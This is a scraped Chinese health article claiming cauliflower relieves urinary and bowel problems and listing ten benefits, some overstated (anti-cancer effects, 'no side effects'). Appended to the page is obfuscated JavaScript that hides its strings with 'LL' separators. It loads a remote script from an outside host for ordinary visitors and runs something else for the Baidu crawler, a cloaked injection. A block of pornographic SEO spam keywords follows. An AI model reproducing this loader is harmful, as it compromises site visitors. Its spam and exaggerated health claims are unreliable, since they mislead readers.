當前位置:首頁 > 飲食 > 食物營養 > 正文

?吃花菜能利尿通便

2017-01-05 22:16:12  來源:360常識網   熱度:
導語:說到吃花菜能利尿通便這個話題的時候,很多人都是不知道的,盡管在大家的現實生活中有很多機會吃上花菜,但是對于這個問題,知道的人還真的

說到吃花菜能利尿通便這個話題的時候,很多人都是不知道的,盡管在大家的現實生活中有很多機會吃上花菜,但是對于這個問題,知道的人還真的是很少的。花菜是我們大家在生活中較為常見的蔬菜之一,花菜又可以叫作菜花,很多人都是非常喜歡吃花菜的,而且花菜除了口感好之外,其實還有很多其他的作用,例如:利尿通便。

利尿通便的方法有很多的,通常都是依靠藥物來解決的。有這方面困擾的朋友,一般都是泌尿系統有問題的。其實除了一些常見的藥物可以達到利尿通便的效果之外,我們常吃的花菜也是有這方面的效果的,而且對于人體還沒有任何的副作用。那么,下面就來具體說說這個話題。

花菜的營養較一般蔬菜豐富。它含有蛋白質、脂肪、碳水化合物、食物纖維、維生素A、B、C、E、P、U和鈣、磷、鐵等礦物質。花菜質地細嫩,味甘鮮美,食后極易消化吸收,其嫩莖纖維,烹炒后柔嫩可口,適宜于中老年人、小孩和脾胃虛弱、消化功能不強者食用。

食用花菜的好處

1、小兒常吃花菜,可促進生長、維持牙齒及骨骼正常、保護視力、提高記憶力。

2、能提高肝臟解毒能力,增強機體免疫能力,預防感冒和壞血病的發生。

3、花菜中的維生素K能維護血管的韌性,不易破裂。

4、花菜的維生素C含量極高,能提高人體免疫功能,促進肝臟解毒,增強人的體質,增加抗病能力,提高人體機體免疫功能。

5、類黃酮除了可以防止感染,還是最好的血管清潔劑。

6、抗氧化劑異硫氰化物可以避免眼睛受到陽光中紫外線的傷害。

7、在暑熱之際,口干渴、小便呈金黃色,大便硬實或不暢通時,用花菜30克煎湯,頻頻飲服,有清熱解渴,利尿通便之功效。

8、美國和其他國家的科學家研究發現,花菜的主要成分具有抗癌作用。現今,花椰菜已被各國營養學家列入人們的抗癌食譜。長期食用可以減少乳腺癌、直腸癌及胃癌等癌癥的發病率。據美國癌癥協會的報道,在眾多的蔬菜水果中,花菜、大白菜的抗癌效果最好。

9、有些人的皮膚一旦受到小小的碰撞和傷害就會變得青一塊紫一塊的,這是因為體內缺乏維生素K的緣故。補充的最佳途徑就是多吃花菜。

10、花菜除了能預防癌癥外,其所含有的一種活性化合物硫萊菔子素能幫助免疫系統清理肺部積聚的有害細菌。

由此可見,吃花菜真的是可以達到利尿通便的效果的,主要就是采用花菜煎湯的方式服用的。其實花菜對于我們人體的好處還有很多,比較常見的就如上文詳細介紹的那些,比如:促進小兒生長、保護視力、提高記憶力、提升肝臟的解毒能力、預防感冒等等。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产在线观看一区精品| 精品日产卡一卡二卡三入口| 2021精品国产综合久久| 国产成人精品自线拍| 91探花福利精品国产自产在线 | 狠狠色香婷婷久久亚洲精品| 人妻少妇看A偷人无码精品视频| 精品一区二区三区无码视频| 国产午夜精品理论片久久影视| 国产精品深爱在线| 国模和精品嫩模私拍视频| 91精品无码久久久久久五月天| 精品免费国产一区二区| 国产亚洲精品高清在线| 91久久精品国产成人久久| 牛牛本精品99久久精品| 在线涩涩免费观看国产精品| 色综合久久精品中文字幕首页| 亚洲国产精品成人网址天堂| 一区二区三区日韩精品| 国产精品资源在线观看| 国产成人精品午夜福利| 亚洲国产精品99久久久久久| 精品97国产免费人成视频| 久久精品无码一区二区WWW| 四虎精品成人免费视频| 日韩精品极品视频在线观看免费| 在线精品国精品国产不卡 | 国产系列高清精品第一页| 久クク成人精品中文字幕| 任我爽精品视频在线播放| 青青草原精品99久久精品66| 国产三级国产精品| 久久久久人妻精品一区二区三区| 国产在线观看91精品一区| 久久久久国产精品免费看| 国产在热线精品视频| 日韩精品久久久肉伦网站| 伊人精品视频在线| 亚洲国产精品成人久久久| 久久99精品久久久久久9蜜桃|